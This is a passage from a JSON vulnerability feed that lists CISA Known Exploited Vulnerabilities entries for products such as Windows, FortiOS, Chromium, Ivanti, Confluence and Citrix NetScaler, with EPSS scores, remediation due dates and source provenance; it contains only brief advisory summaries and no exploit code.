score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21410, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21351","cveId":"CVE-2024-21351","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience and inject code to potentially gain code execution, which could lead to some data exposure, lack of system availability, or both.","detail":"CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-13","dueAt":"2024-03-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27798,"percentile":0.98078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21351","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21351 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21412","cveId":"CVE-2024-21412","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Internet Shortcut Files Security Feature Bypass Vulnerability","summary":"Microsoft Windows Internet Shortcut Files contains an unspecified vulnerability that allows for a security feature bypass.","detail":"CISA added this entry on 2024-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-13","dueAt":"2024-03-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9941,"percentile":0.99941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21412","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21412 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21412&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21412, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-43770","cveId":"CVE-2023-43770","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail Persistent Cross-Site Scripting (XSS) Vulnerability","summary":"Roundcube Webmail contains a persistent cross-site scripting (XSS) vulnerability that can lead to information disclosure via malicious link references in plain/text messages.","detail":"CISA added this entry on 2024-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-12","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-12","dueAt":"2024-03-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6366,"percentile":0.99211,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-43770","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-43770 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-43770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-43770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21762","cveId":"CVE-2024-21762","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Out-of-Bound Write Vulnerability","summary":"Fortinet FortiOS contains an out-of-bound write vulnerability that allows a remote unauthenticated attacker to execute code or commands via specially crafted HTTP requests.","detail":"CISA added this entry on 2024-02-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-09","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-09","dueAt":"2024-02-16","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84589,"percentile":0.99701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21762","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21762 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-4762","cveId":"CVE-2023-4762","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-02-06","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-02-06","dueAt":"2024-02-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41375,"percentile":0.98662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-4762","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-4762 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-4762&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-4762, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-48618","cveId":"CVE-2022-48618","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a time-of-check/time-of-use (TOCTOU) memory corruption vulnerability that allows an attacker with read and write capabilities to bypass Pointer Authentication.","detail":"CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-31","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-31","dueAt":"2024-02-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00487,"percentile":0.4163,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-48618","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-48618 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-48618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-48618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21893","cveId":"CVE-2024-21893","aliases":[],"kind":"vulnerability","title":"Ivanti Connect Secure, Policy Secure, and Neurons Server-Side Request Forgery (SSRF) Vulnerability","summary":"Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure), Ivanti Policy Secure, and Ivanti Neurons contain a server-side request forgery (SSRF) vulnerability in the SAML component that allows an attacker to access certain restricted resources without authentication.","detail":"CISA added this entry on 2024-01-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-31","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Connect Secure, Policy Secure, and Neurons","stacks":["Ivanti","Connect Secure, Policy Secure, and Neurons"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-31","dueAt":"2024-02-02","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21893","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-31","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21893 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-22527","cveId":"CVE-2023-22527","aliases":[],"kind":"vulnerability","title":"Atlassian Confluence Data Center and Server Template Injection Vulnerability","summary":"Atlassian Confluence Data Center and Server contain an unauthenticated OGNL template injection vulnerability that can lead to remote code execution.","detail":"CISA added this entry on 2024-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-24","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence Data Center and Server","stacks":["Atlassian","Confluence Data Center and Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-24","dueAt":"2024-02-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99984,"percentile":0.99983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-22527","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-22527 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-22527&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-22527, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23222","cveId":"CVE-2024-23222","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Type Confusion Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2024-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-23","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-23","dueAt":"2024-02-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10593,"percentile":0.95751,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23222","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23222 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-34048","cveId":"CVE-2023-34048","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Out-of-Bounds Write Vulnerability","summary":"VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol that allows an attacker to conduct remote code execution.","detail":"CISA added this entry on 2024-01-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-22","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-22","dueAt":"2024-02-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99212,"percentile":0.99934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-34048","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-34048 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-34048&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-34048, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-35082","cveId":"CVE-2023-35082","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core Authentication Bypass Vulnerability","summary":"Ivanti Endpoint Manager Mobile (EPMM) and MobileIron Core contain an authentication bypass vulnerability that allows unauthorized users to access restricted functionality or resources of the application.","detail":"CISA added this entry on 2024-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-18","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager Mobile (EPMM) and MobileIron Core","stacks":["Ivanti","Endpoint Manager Mobile (EPMM) and MobileIron Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-18","dueAt":"2024-02-08","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99996,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-35082","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-35082 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-35082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-35082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-6548","cveId":"CVE-2023-6548","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain a code injection vulnerability that allows for authenticated remote code execution on the management interface with access to NSIP, CLIP, or SNIP.","detail":"CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-17","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and NetScaler Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and NetScaler Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-17","dueAt":"2024-01-24","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03191,"percentile":0.88007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-6548","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-6548 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-6548&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-6548, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-6549","cveId":"CVE-2023-6549","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and NetScaler Gateway Buffer Overflow Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain a buffer overflow vulnerability that allows for a denial-of-service when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.","detail":"CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-17","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and NetScaler Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and NetScaler Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-17","dueAt":"2024-02-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.57633,"percentile":0.99077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-6549","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-01-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-6549 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-6549&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-6549, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-0519","cveId":"CVE-2024-0519","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Memory Access Vulnerability","summary":"Google Chromium V8 Engine contains an out-of-bounds memory access vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-01-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-01-17","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-01-17","dueAt":"2024-02-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03802,"percentile":0.89931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-0519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 